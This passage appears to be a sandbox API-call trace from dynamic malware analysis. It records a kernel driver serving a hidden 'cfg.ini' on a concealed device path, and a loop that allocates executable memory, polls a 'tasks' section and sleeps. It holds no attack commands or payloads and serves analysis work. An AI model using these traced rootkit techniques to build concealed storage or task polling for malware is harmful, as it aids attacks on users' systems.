[0124.805] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.805] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.805] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.805] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.805] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ad0 [0124.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.805] KeLeaveCriticalRegion () [0124.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.805] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.805] KeEnterCriticalRegion () [0124.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.805] KeLeaveCriticalRegion () [0124.805] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.805] KeEnterCriticalRegion () [0124.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.805] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.805] IdePortDispatch () returned 0x103 [0124.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.805] KeLeaveCriticalRegion () [0124.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.805] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.805] KeEnterCriticalRegion () [0124.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c3000 [0124.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.806] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.806] IdePortDispatch () returned 0x103 [0124.806] KeWaitForMutexObject () returned 0x0 [0124.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.806] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.806] IdePortDispatch () returned 0x103 [0124.806] KeWaitForMutexObject () returned 0x0 [0124.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.806] KeLeaveCriticalRegion () [0124.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.807] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.807] KeEnterCriticalRegion () [0124.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.807] KeLeaveCriticalRegion () [0124.807] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.807] KeEnterCriticalRegion () [0124.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.807] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.807] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.807] KeLeaveCriticalRegion () [0124.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.807] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.807] KeEnterCriticalRegion () [0124.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.807] ExFreePoolWithTag (P=0xfffffa8003bf3ad0, Tag=0x0) [0124.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.807] KeLeaveCriticalRegion () [0124.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.807] ReleaseMutex (hMutex=0xf0) returned 1 [0124.807] Sleep (dwMilliseconds=0x927c0) [0124.822] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.822] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.822] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.822] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.822] KeEnterCriticalRegion () [0124.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.822] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.822] IdePortDispatch () returned 0x103 [0124.822] KeWaitForMutexObject () returned 0x0 [0124.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.823] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.823] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.823] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.823] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.823] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf34e0 [0124.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.823] KeLeaveCriticalRegion () [0124.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.823] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.823] KeEnterCriticalRegion () [0124.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.823] KeLeaveCriticalRegion () [0124.823] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.823] KeEnterCriticalRegion () [0124.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.823] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.823] IdePortDispatch () returned 0x103 [0124.823] KeWaitForMutexObject () returned 0x0 [0124.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.823] KeLeaveCriticalRegion () [0124.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.823] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.823] KeEnterCriticalRegion () [0124.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c8000 [0124.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.824] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.824] IdePortDispatch () returned 0x103 [0124.824] KeWaitForMutexObject () returned 0x0 [0124.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.824] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.824] IdePortDispatch () returned 0x103 [0124.824] KeWaitForMutexObject () returned 0x0 [0124.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.824] KeLeaveCriticalRegion () [0124.824] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.825] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.825] KeEnterCriticalRegion () [0124.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.825] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.825] KeLeaveCriticalRegion () [0124.825] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.825] KeEnterCriticalRegion () [0124.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.825] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.825] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.825] KeLeaveCriticalRegion () [0124.825] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.825] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.825] KeEnterCriticalRegion () [0124.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.825] ExFreePoolWithTag (P=0xfffffa8003bf34e0, Tag=0x0) [0124.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.825] KeLeaveCriticalRegion () [0124.825] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.825] ReleaseMutex (hMutex=0xf0) returned 1 [0124.825] Sleep (dwMilliseconds=0x927c0) [0124.839] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.839] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.839] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.839] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.839] KeEnterCriticalRegion () [0124.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.839] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.839] IdePortDispatch () returned 0x103 [0124.839] KeWaitForMutexObject () returned 0x0 [0124.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.839] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.839] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.839] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.839] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.839] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ad0 [0124.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.839] KeLeaveCriticalRegion () [0124.839] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.839] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.839] KeEnterCriticalRegion () [0124.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.840] KeLeaveCriticalRegion () [0124.840] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.840] KeEnterCriticalRegion () [0124.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.840] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.840] IdePortDispatch () returned 0x103 [0124.840] KeWaitForMutexObject () returned 0x0 [0124.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.840] KeLeaveCriticalRegion () [0124.840] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.840] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.840] KeEnterCriticalRegion () [0124.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cd000 [0124.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.840] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.840] IdePortDispatch () returned 0x103 [0124.840] KeWaitForMutexObject () returned 0x0 [0124.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.841] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.841] IdePortDispatch () returned 0x103 [0124.841] KeWaitForMutexObject () returned 0x0 [0124.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.841] KeLeaveCriticalRegion () [0124.841] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.841] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.841] KeEnterCriticalRegion () [0124.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.841] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.841] KeLeaveCriticalRegion () [0124.841] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.841] KeEnterCriticalRegion () [0124.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.841] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.841] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.841] KeLeaveCriticalRegion () [0124.841] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.842] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.842] KeEnterCriticalRegion () [0124.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.842] ExFreePoolWithTag (P=0xfffffa8003bf3ad0, Tag=0x0) [0124.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.842] KeLeaveCriticalRegion () [0124.842] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.842] ReleaseMutex (hMutex=0xf0) returned 1 [0124.842] Sleep (dwMilliseconds=0x927c0) [0124.856] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.856] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.856] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.856] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.856] KeEnterCriticalRegion () [0124.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.856] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.856] IdePortDispatch () returned 0x103 [0124.857] KeWaitForMutexObject () returned 0x0 [0124.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.857] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.857] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.857] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.857] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.857] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf48a0 [0124.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.857] KeLeaveCriticalRegion () [0124.857] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.857] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.857] KeEnterCriticalRegion () [0124.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.857] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.857] KeLeaveCriticalRegion () [0124.857] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.857] KeEnterCriticalRegion () [0124.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.857] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.857] IdePortDispatch () returned 0x103 [0124.857] KeWaitForMutexObject () returned 0x0 [0124.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.857] ExReleaseFastMutexUnsafe (in: 